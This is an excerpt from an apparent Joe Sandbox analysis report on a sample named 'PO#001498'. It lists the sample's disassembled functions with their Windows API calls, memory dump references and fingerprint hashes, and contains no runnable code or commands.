                                                                                                                                                                                • Instruction ID: eb365ed5c03c4bb3a44f9ddbc5128f2f56e5f8affd5b6ace934fe40af23b551f
                                                                                                                                                                                • Opcode Fuzzy Hash: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
                                                                                                                                                                                • Instruction Fuzzy Hash: 00318675240305ABD610DFA1DC85F9BB3A8AF84705F00891DF94497292D7B9E889CB94
                                                                                                                                                                                Function 0044796B Relevance: 7.6, APIs: 5, Instructions: 96COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetClientRect.USER32(?,?), ref: 00447997
                                                                                                                                                                                • GetCursorPos.USER32(?), ref: 004479A2
                                                                                                                                                                                • ScreenToClient.USER32(?,?), ref: 004479BE
                                                                                                                                                                                • WindowFromPoint.USER32(?,?), ref: 004479FF
                                                                                                                                                                                • DefDlgProcW.USER32(?,00000020,?,?), ref: 00447A78
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Client$CursorFromPointProcRectScreenWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1822080540-0
                                                                                                                                                                                • Opcode ID: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                                                                                                                                                                                • Instruction ID: e9c1e18ea4fcc9a2ad4b32cd349e8b57ec7287094a91df3c43d19f1875151664
                                                                                                                                                                                • Opcode Fuzzy Hash: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                                                                                                                                                                                • Instruction Fuzzy Hash: DE3188742082029BD710CF19D88596FB7A9EBC8714F144A1EF88097291D778EA57CBAA
                                                                                                                                                                                Function 00447BAF Relevance: 7.6, APIs: 5, Instructions: 95COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 00447C1B
                                                                                                                                                                                • ScreenToClient.USER32(?,?), ref: 00447C39
                                                                                                                                                                                • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                                                                                                                                                                                • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                                                                                                                                                                                • EndPaint.USER32(?,?), ref: 00447CD1
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ClientPaintRectRectangleScreenViewportWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 659298297-0
                                                                                                                                                                                • Opcode ID: a6d698a2242c6caf7091173c4181dadfabb51550506680b35635a03376f271bc
                                                                                                                                                                                • Instruction ID: 653bb342b0117225c29b14224c0e663a7b864e912777eddc33bb147bcfad3e12
                                                                                                                                                                                • Opcode Fuzzy Hash: a6d698a2242c6caf7091173c4181dadfabb51550506680b35635a03376f271bc
                                                                                                                                                                                • Instruction Fuzzy Hash: 8A3150706043019FE320CF15D9C8F7B7BE8EB89724F044A6EF994873A1D774A8468B69
                                                                                                                                                                                Function 00447870 Relevance: 7.6, APIs: 5, Instructions: 94windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetCursorPos.USER32(?), ref: 004478A7
                                                                                                                                                                                • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 004478C3
                                                                                                                                                                                • DefDlgProcW.USER32(?,0000007B,?,?,004A83D8,?,004A83D8,?), ref: 004478E7
                                                                                                                                                                                • GetCursorPos.USER32(?), ref: 00447935
                                                                                                                                                                                • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 0044795B
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CursorMenuPopupTrack$Proc
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1300944170-0
                                                                                                                                                                                • Opcode ID: 00aabaf84d80e4f8c92fc7d2a6c816b999107077810d41e1d32a7af9c3da8c6b
                                                                                                                                                                                • Instruction ID: 600148c7f6f0e64f7aba5c2d0a58757112576a5c49d56a392ea253be37485a5b
                                                                                                                                                                                • Opcode Fuzzy Hash: 00aabaf84d80e4f8c92fc7d2a6c816b999107077810d41e1d32a7af9c3da8c6b
                                                                                                                                                                                • Instruction Fuzzy Hash: 2B31E475244204ABE214DB48DC48FABB7A5FBC9711F14491EF64483390D7B96C4BC779
                                                                                                                                                                                Function 00448837 Relevance: 7.6, APIs: 5, Instructions: 89COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                                                • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                                                • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                                                • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                                                • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                                                  • Part of subcall function 004413F0: SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
                                                                                                                                                                                  • Part of subcall function 004413F0: GetWindowLongW.USER32(?,000000F0), ref: 00441452
                                                                                                                                                                                  • Part of subcall function 004413F0: GetWindowLongW.USER32(?,000000F0), ref: 00441493
                                                                                                                                                                                  • Part of subcall function 004413F0: SendMessageW.USER32(03021BC0,000000F1,00000000,00000000), ref: 004414C6
                                                                                                                                                                                  • Part of subcall function 004413F0: SendMessageW.USER32(03021BC0,000000F1,00000001,00000000), ref: 004414F1
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window$EnableMessageSend$LongShow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 142311417-0
                                                                                                                                                                                • Opcode ID: 63a7105258867651d9446b65671e60b54e1f680e017c4d0f27b0fbeeb6060130
                                                                                                                                                                                • Instruction ID: 53ead31d82dc60d0a1ec6489c26700cf05fac79e8a5bf65a12bf69c5108a1aee
                                                                                                                                                                                • Opcode Fuzzy Hash: 63a7105258867651d9446b65671e60b54e1f680e017c4d0f27b0fbeeb6060130
                                                                                                                                                                                • Instruction Fuzzy Hash: 942105B07053809BF7148E28C8C47AFB7D0FB95345F08482EF981A6391DBAC9845C72E
                                                                                                                                                                                Function 00449549 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _memset.LIBCMT ref: 0044955A
                                                                                                                                                                                  • Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC
                                                                                                                                                                                • SendMessageW.USER32(?,00001060,00000000,00000004), ref: 004495B3
                                                                                                                                                                                • _wcslen.LIBCMT ref: 004495C1
                                                                                                                                                                                • _wcslen.LIBCMT ref: 004495CE
                                                                                                                                                                                • SendMessageW.USER32(?,00001060,00000000,?), ref: 004495FF
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend_wcslen$_memset_wcspbrk
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1843234404-0
                                                                                                                                                                                • Opcode ID: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
                                                                                                                                                                                • Instruction ID: 2eba0e6ca7bf2f01d6f4dc0284c8cedbdf4c7ea0b5caad0642d64795040b3bc6
                                                                                                                                                                                • Opcode Fuzzy Hash: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
                                                                                                                                                                                • Instruction Fuzzy Hash: 1821F87260430556E630EB15AC81BFBB3D8EBD0761F10483FEE4081280E67E9959D3AA
                                                                                                                                                                                Function 00455014 Relevance: 7.6, APIs: 5, Instructions: 78COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID:
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID:
                                                                                                                                                                                • Opcode ID: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
                                                                                                                                                                                • Instruction ID: 4734ce3ce40af5b77ad59fd8baedf6a3e56741e39cc50bb30d89ac3ca2d3bd52
                                                                                                                                                                                • Opcode Fuzzy Hash: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
                                                                                                                                                                                • Instruction Fuzzy Hash: 1321E0712006409BCB10EF29D994D6B73A8EF45321B40466EFE5597382DB34EC08CBA9
                                                                                                                                                                                Function 00445719 Relevance: 7.6, APIs: 5, Instructions: 76windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • IsWindowVisible.USER32(?), ref: 00445721
                                                                                                                                                                                • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0044573C
                                                                                                                                                                                • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00445773
                                                                                                                                                                                • _wcslen.LIBCMT ref: 004457A3
                                                                                                                                                                                • CharUpperBuffW.USER32(00000000,00000000), ref: 004457AD
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3087257052-0
                                                                                                                                                                                • Opcode ID: b8615011704e714012d326b35a72e373024cdcb02b0b49a0115346f3c93ca327
                                                                                                                                                                                • Instruction ID: 00e09c3d40749c53521e9302b0eb92bb7bfe2d7d521d01ead8474e6f611d5aec
                                                                                                                                                                                • Opcode Fuzzy Hash: b8615011704e714012d326b35a72e373024cdcb02b0b49a0115346f3c93ca327
                                                                                                                                                                                • Instruction Fuzzy Hash: FA11E972601741BBF7105B35DC46F5B77CDAF65320F04443AF40AE6281FB69E84583AA
                                                                                                                                                                                Function 00459DCF Relevance: 7.6, APIs: 5, Instructions: 71COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • IsWindow.USER32(00000000), ref: 00459DEF
                                                                                                                                                                                • GetForegroundWindow.USER32 ref: 00459E07
                                                                                                                                                                                • GetDC.USER32(00000000), ref: 00459E44
                                                                                                                                                                                • GetPixel.GDI32(00000000,?,00000000), ref: 00459E4F
                                                                                                                                                                                • ReleaseDC.USER32(00000000,00000000), ref: 00459E8B
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window$ForegroundPixelRelease
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 4156661090-0
                                                                                                                                                                                • Opcode ID: c25ec76bf159445cc401153d518622b926736981535c7bd42fe0b2b106eefd61
                                                                                                                                                                                • Instruction ID: f25aa70a507d7fb142791e963b89e5313ab4350e7ab13503248c443e15a863bf
                                                                                                                                                                                • Opcode Fuzzy Hash: c25ec76bf159445cc401153d518622b926736981535c7bd42fe0b2b106eefd61
                                                                                                                                                                                • Instruction Fuzzy Hash: 76219D76600202ABD700EFA5CD49A5AB7E9FF84315F19483DF90597642DB78FC04CBA9
                                                                                                                                                                                Function 00464950 Relevance: 7.6, APIs: 5, Instructions: 68networkCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7
                                                                                                                                                                                • socket.WSOCK32(00000002,00000001,00000006,00000000), ref: 00464985
                                                                                                                                                                                • WSAGetLastError.WSOCK32(00000000,00000002,00000001,00000006,00000000), ref: 00464993
                                                                                                                                                                                • connect.WSOCK32(00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 004649CD
                                                                                                                                                                                • WSAGetLastError.WSOCK32(00000000,00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 004649F4
                                                                                                                                                                                • closesocket.WSOCK32(00000000,00000000,00000000,00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 00464A07
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ErrorLast$closesocketconnectinet_addrsocket
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 245547762-0
                                                                                                                                                                                • Opcode ID: aaa03f654d2c2080970664bbc2635e6406c59b0d093f7dcd590a1c65d79e0220
                                                                                                                                                                                • Instruction ID: b27d5ee258410aac5bd3077dd9c53ce90635b59006b610d0ec7ee295a05cd03d
                                                                                                                                                                                • Opcode Fuzzy Hash: aaa03f654d2c2080970664bbc2635e6406c59b0d093f7dcd590a1c65d79e0220
                                                                                                                                                                                • Instruction Fuzzy Hash: 3211DA712002109BD310FB2AC842F9BB3D8AF85728F04895FF594A72D2D7B9A885875A
                                                                                                                                                                                Function 0044710F Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                                • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                                • SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                                • BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                                • SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Object$Select$BeginCreateDeletePath
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2338827641-0
                                                                                                                                                                                • Opcode ID: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                                                                                                                                                                                • Instruction ID: ab30216038401830d00444c504d41f25dcbf82a6e2307e0a418987ed8484b610
                                                                                                                                                                                • Opcode Fuzzy Hash: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                                                                                                                                                                                • Instruction Fuzzy Hash: 7E2171B18083019FD320CF29AD44A1B7FACF74A724F14052FF654933A1EB789849CB69
                                                                                                                                                                                Function 0043770A Relevance: 7.6, APIs: 5, Instructions: 56sleepCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • Sleep.KERNEL32(00000000,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043771E
                                                                                                                                                                                • QueryPerformanceCounter.KERNEL32(?,?,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043773C
                                                                                                                                                                                • Sleep.KERNEL32(00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043775C
                                                                                                                                                                                • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,004448B6,0000000F,?), ref: 00437767
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CounterPerformanceQuerySleep
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2875609808-0
                                                                                                                                                                                • Opcode ID: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                                                                                                                                                                                • Instruction ID: fd8a8a83491f03de43ea78fbc63302b75a2fa5438857304713168bbc83ca9150
                                                                                                                                                                                • Opcode Fuzzy Hash: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                                                                                                                                                                                • Instruction Fuzzy Hash: EA11A3B64093119BC210EF1ADA88A8FB7F4FFD8765F004D2EF9C462250DB34D5598B9A
                                                                                                                                                                                Function 0046FCC6 Relevance: 7.5, APIs: 5, Instructions: 49windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32 ref: 0046FD00
                                                                                                                                                                                • SendMessageW.USER32(?,0000104C,00000000,?), ref: 0046FD2E
                                                                                                                                                                                • SendMessageW.USER32(?,00001015,?,?), ref: 0046FD4B
                                                                                                                                                                                • DestroyIcon.USER32(?), ref: 0046FD58
                                                                                                                                                                                • DestroyIcon.USER32(?), ref: 0046FD5F
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: MessageSend$DestroyIcon
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3419509030-0
                                                                                                                                                                                • Opcode ID: a24bc400bf7eaff3d1708451a80103ed5292b50ec6011cebb58ec712c1110a53
                                                                                                                                                                                • Instruction ID: ba7c1cc62690e465ab1dcb48fa3e0f79152c3dc78d34179caeeeb49ed344ab69
                                                                                                                                                                                • Opcode Fuzzy Hash: a24bc400bf7eaff3d1708451a80103ed5292b50ec6011cebb58ec712c1110a53
                                                                                                                                                                                • Instruction Fuzzy Hash: 5F1182B15043449BE730DF14DC46BABB7E8FBC5714F00492EE6C857291D6B8A84A8B67
                                                                                                                                                                                Function 004175A2 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • __getptd.LIBCMT ref: 004175AE
                                                                                                                                                                                  • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                                                                                                                                                                  • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                                                                                                                                                                                • __amsg_exit.LIBCMT ref: 004175CE
                                                                                                                                                                                • __lock.LIBCMT ref: 004175DE
                                                                                                                                                                                • InterlockedDecrement.KERNEL32(?), ref: 004175FB
                                                                                                                                                                                • InterlockedIncrement.KERNEL32(03022DB0), ref: 00417626
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 4271482742-0
